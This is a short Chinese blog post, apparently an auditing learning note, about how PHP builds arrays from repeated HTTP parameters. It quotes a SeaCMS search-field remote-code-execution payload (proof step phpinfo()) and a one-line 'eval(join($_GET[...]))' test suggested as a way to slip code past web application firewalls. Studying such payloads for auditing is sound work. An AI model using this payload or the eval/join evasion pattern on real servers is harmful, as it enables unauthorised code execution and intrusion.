Rumah  >  Artikel  >  pembangunan bahagian belakang  >  php如何通过http请求发送数组的实例分享

php如何通过http请求发送数组的实例分享

黄舟
黄舟asal
2017-10-24 09:26:182323semak imbas

最近开始学习php审计,刚好赶上研究seacms,就发现了payload处一个奇怪的点

searchtype=5&searchword={
if{searchpage:year}&year=:e{searchpage:area}
}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

就尝试了一下,发现在接收数据时,例:

键名=a,那传递a[]=a&a[]=b时,a即为一个数组,便做了个测试,果真如此

服务器端测试代码

<?php
	print_r($_GET[1]);
?>

测试结果如下

604baf6230fe00888cc823b4e7f8f1f2.png-wh_

45414d0c78efa9947ce4d19dcf80c675.png-wh_

那么这一个有什么用呢?思考了一下,如果服务器上有安全狗或者waf等防护工具,那么配合其他php函数,例如join函数,可能可以达到绕过效果

提供一个简单思路

服务器测试代码

<?php
	eval(join($_GET[123]));
?>

测试结果如下

d4802b1c88dca29fe9323c33209d495e.png-wh_

Atas ialah kandungan terperinci php如何通过http请求发送数组的实例分享. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn